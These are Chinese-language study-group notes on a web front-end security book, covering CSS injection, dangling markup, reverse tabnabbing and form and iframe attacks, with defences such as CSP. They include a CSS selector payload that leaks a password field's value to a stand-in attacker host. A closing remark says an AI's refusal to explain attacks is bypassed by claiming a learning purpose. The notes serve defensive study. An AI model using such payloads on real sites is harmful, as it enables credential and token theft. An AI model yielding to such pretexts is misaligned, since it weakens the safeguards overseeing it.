Beyond XSS 3-4 ~ 3-6

[linyawun]

《Beyond XSS：探索網頁前端資安宇宙》3-4 ~ 3-6

• 導讀：Sam
• 筆記工：Monica
• 簡報：https://www.canva.com/design/DAGWh7PdFWw/PZMuLAjQyxdNcKNp_L897A/view

3-4 只用 CSS 也能攻擊？CSS injection 基礎篇

1. 怎麼用 CSS 偷東西
   • 透過 CSS selector 選取特定元素，再搭配 background 屬性來發請求到 server
   • Recap：複習 CSS 選擇器
   • Question：白話翻譯這段 CSS 在選什麼?

   input[name='password'][value^='a']{
    background: url('http://attacher.com/?q=a');
   }
   

2. 偷什麼
   • 例如 CSRF token，他可能出現在 hidden input 或 meta tag

用 HackMD 偷資料

• HTTP 與 socket
  • HackMD 用 socket 連線因此可多人共編，即時顯示更新的內容
• 

3-5 CSS injection 進階篇

• 如何在偷東西時保持連線?
  • HackMD 用 socket 所以可以逐步更新 CSS 一個字一個字偷，但一般網站不行，此時要採用 import，巢狀嵌套的去偷
    • import 會先載入先 response 回來的 CSS
• Unicode Range
  • 載入字體時發出請求，用 unicode range 來設定這字體要套用到哪個字，透過請求可以知道畫面上有哪些字
  • 缺點：不知道這些字的先後順序
• 字體高度 + first-line + scrollbar
  • 針對所有字元定義字型
  • 如果普通高度是 10px，新字體是 12px 就會超出去，顯示 scrollbar
  • 當有 scrollbar 時就載入 background url，因此可發出請求到 server
• 連字 + scrollbar
  • 讓畫面有連起來的那兩個字，字寬就變超寬，超過 div 寬度就會觸發 scrollbar
  • 當有 scrollbar 時就載入 background url 因此可發出請求
• 偷太慢怎麼辦?

章節回顧 QA

• 用一句話解釋 CSS injection 是什麼?
  • Mi：CSS injection 是指攻擊者在網頁中插入 style 標籤，放入惡意 CSS，就可以偷到一些有敏感屬性的資料
  • 改變網頁外觀，利用特定情況來觸發某 CSS，因而發送 background url 請求
    • 現代框架對請求的限制越來越多，例如需要在 next.config 設定允許的圖片路徑
• 要如何防範 CSS injection?
  • Lois：過濾使用者輸入、後端加入 CSP
  • 例如 CSP style-src 設成 self 或是只能載入 google font 來源的字體

3-6 就算只有 HTML 也能攻擊？

反向標籤劫持(Reverse tabnabbing)

• 使用者點連結到外部連結後，新開的頁面可以用 window.opener 去存取原本頁面的 location
  • 加入 rel="noreferrer noopener" 就無法存取原頁面的屬性，避免被惡意修改
  • 有些瀏覽器(e.g. Chrome、Firefox)有更新，讓 target=_blank 預設有 noopener 效果，但其他瀏覽器不確定，建議開發時自己要檢查
• meta tag 的 refresh 屬性會自動轉導到 content 內的連結
• 透過 iframe 來攻擊
  • 有些功能會讓客戶自己嵌入 iframe，例如嵌入 youtube 影片
  • 若 iframe 帶上 sandbox 屬性並加上 allow-scripts，就可以在 iframe 內執行 JavaScript
  • 解法：加入 CSP script-src self
• form 的攻擊
  • 將 form 的 submit 按鈕做成正常按鈕的樣子，當點擊後就會傳送 form 內資料，而如果瀏覽器有自動填入 form input 欄位，就會將資料包含在表單內送出給攻擊者
• 懸掛標籤注入
  • 在 inject 的地方不要閉合標籤，就會把後面的網頁內容帶入到 query 的內容並傳送出去
  • Chrome 現在如果偵測到 src 或 href 有 < 或換行，就不會發出請求

章節回顧 QA

• 分享一個你記得的攻擊手法?
  • Yo0：最有印象的是按按鈕後就可能不小心將帳號密碼送出，還有 CSS 偷資料，是沒有想過的方法。補充一點，看書的時候又看到很多沒看過的 tag、沒看過的用法，以及之前開發時有不小心忘記關閉合標籤，覺得漏洞的東西還要再慢慢熟悉，好幾次想嘗試書中提到的範本，但會沒辦法成功，可能了解時還需要靠想像
• HTML 有哪些潛在的注入點?

QA

針對 HackMD 的例子

• 你是偷到誰的 CSRF？
  • 偷到的是打開 HackMD 的使用者的 CSRF token，偷到以後就可以偽造這使用者去做請求，做惡意行為
• CSRF 更新這麼快要在什麼時候偷？
  • HackMD 在重整頁面時就會更新 CSRF token，如果使用者重整頁面，就可能偷到一半就沒用了
• 如果有二十個人同時在線寫共筆你偷到的是誰的 token？
  • 不確定，待討論

其他討論

• 如果要 AI 分享攻擊手法，AI 會拒絕提供，要和他約法三章說自己只是學習用途，AI 才會提供
• 目前書中有些關於瀏覽器的都過時了，要記得去查證現在瀏覽器的更新狀況